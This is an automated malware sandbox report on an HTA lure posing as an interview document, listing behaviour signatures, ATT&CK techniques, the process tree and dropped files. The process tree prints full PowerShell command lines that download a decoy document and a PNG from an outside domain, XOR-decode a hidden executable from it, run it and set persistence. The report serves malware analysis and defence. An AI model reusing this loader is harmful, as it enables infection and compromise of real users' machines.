Analysis
- max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
31/10/2026, 21:34
General
- Target interview_jibril_rajoub.hta
- Size 1KB
- Sample261031-1evpwsae49
- SHA256 d7006d308ee13d9b4324a2fbd91549ef9604c3313486ce991f7eb3ceedb55140
Malware Config
Extracted
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ps1
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exe.dropper
https://realestateconnecticut.info/api/update.png
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Powershell Invoke Web Request.
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Modifies registry class 1 IoCs
- Modifies system certificate store 2 TTPs 6 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 20 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\interview_jibril_rajoub.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Invoke-WebRequest -Uri 'https://realestateconnecticut.info/api/interview_jibril_rajoub.docx' -OutFile 'C:\Users\Admin\AppData\Local\Temp\interview_jibril_rajoub.docx'; Unblock-File -Path 'C:\Users\Admin\AppData\Local\Temp\interview_jibril_rajoub.docx'; Start-Process 'C:\Users\Admin\AppData\Local\Temp\interview_jibril_rajoub.docx'"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\interview_jibril_rajoub.docx" /o ""3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -command "$url='https://realestateconnecticut.info/api/update.png'; $temp=Join-Path $env:TEMP 'update.png'; Invoke-WebRequest -Uri $url -OutFile $temp; $data=[IO.File]::ReadAllBytes($temp); $key=$data[218]; $file = Join-Path $env:LOCALAPPDATA 'UpdateWindowsDownloader.exe'; $i=[Text.Encoding]::ASCII.GetString($data).LastIndexOf('IDAT')+4; $xdata = ($data[$i..$data.Length] | ForEach-Object { $_ -bxor $key }); [IO.File]::WriteAllBytes($file, $xdata); cmd /c $file"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\UpdateWindowsDownloader.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\UpdateWindowsDownloader.exeC:\Users\Admin\AppData\Local\UpdateWindowsDownloader.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\UpdateWindowsDownloader.exeC:\Users\Admin\AppData\Local\UpdateWindowsDownloader.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
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Downloads
iso690.xsl
__PSScriptPolicyTest_2rwvfxwm.gop.psm1
cab7CE8.tmp
cab7CE9.tmp
cab7CF9.tmp
cab7D2C.tmp
cab7D3E.tmp
cab7D6F.tmp
cab7D71.tmp
cab7D82.tmp
cab7D84.tmp
cab7D86.tmp
cab7D98.tmp
cab7DAA.tmp
cab7DAC.tmp
cab7F05.tmp
cab7F55.tmp
cab7FE4.tmp
cab81AB.tmp
cab823A.tmp
interview_jibril_rajoub.docx
UpdateWindowsDownloader.exe
CUSTOM.DIC
NDX3LBGW8AW7WT12ZIKW.temp
memory/2672-24-0x00007FFAFDDC0000-0x00007FFAFDDD0000-memory.dmp
memory/2672-26-0x00007FFAFDDC0000-0x00007FFAFDDD0000-memory.dmp
memory/2672-30-0x00007FFAFB6C0000-0x00007FFAFB6D0000-memory.dmp
memory/2672-230-0x00007FFAFDDC0000-0x00007FFAFDDD0000-memory.dmp
memory/2672-231-0x00007FFAFDDC0000-0x00007FFAFDDD0000-memory.dmp
memory/2672-232-0x00007FFAFDDC0000-0x00007FFAFDDD0000-memory.dmp
memory/2672-229-0x00007FFAFDDC0000-0x00007FFAFDDD0000-memory.dmp
memory/2672-28-0x00007FFAFDDC0000-0x00007FFAFDDD0000-memory.dmp
memory/2672-29-0x00007FFAFB6C0000-0x00007FFAFB6D0000-memory.dmp
memory/2672-25-0x00007FFAFDDC0000-0x00007FFAFDDD0000-memory.dmp
memory/2672-27-0x00007FFAFDDC0000-0x00007FFAFDDD0000-memory.dmp
memory/4668-12-0x00000000072E0000-0x0000000007376000-memory.dmp
memory/4668-0-0x0000000002C10000-0x0000000002C46000-memory.dmp
memory/4668-3-0x0000000005B40000-0x0000000005BA6000-memory.dmp
memory/4668-7-0x0000000005C20000-0x0000000005F7B000-memory.dmp
memory/4668-10-0x0000000006120000-0x000000000613E000-memory.dmp
memory/4668-11-0x0000000006410000-0x000000000645C000-memory.dmp
memory/4668-13-0x0000000006670000-0x000000000668A000-memory.dmp
memory/4668-15-0x00000000066C0000-0x00000000066E2000-memory.dmp
memory/4668-16-0x0000000007940000-0x0000000007EFA000-memory.dmp
memory/4892-4-0x00000000056D0000-0x0000000005736000-memory.dmp
memory/4892-2-0x0000000004D40000-0x0000000004D62000-memory.dmp
memory/4892-1-0x0000000004E20000-0x000000000546A000-memory.dmp
memory/4892-14-0x0000000007480000-0x0000000007AFC000-memory.dmp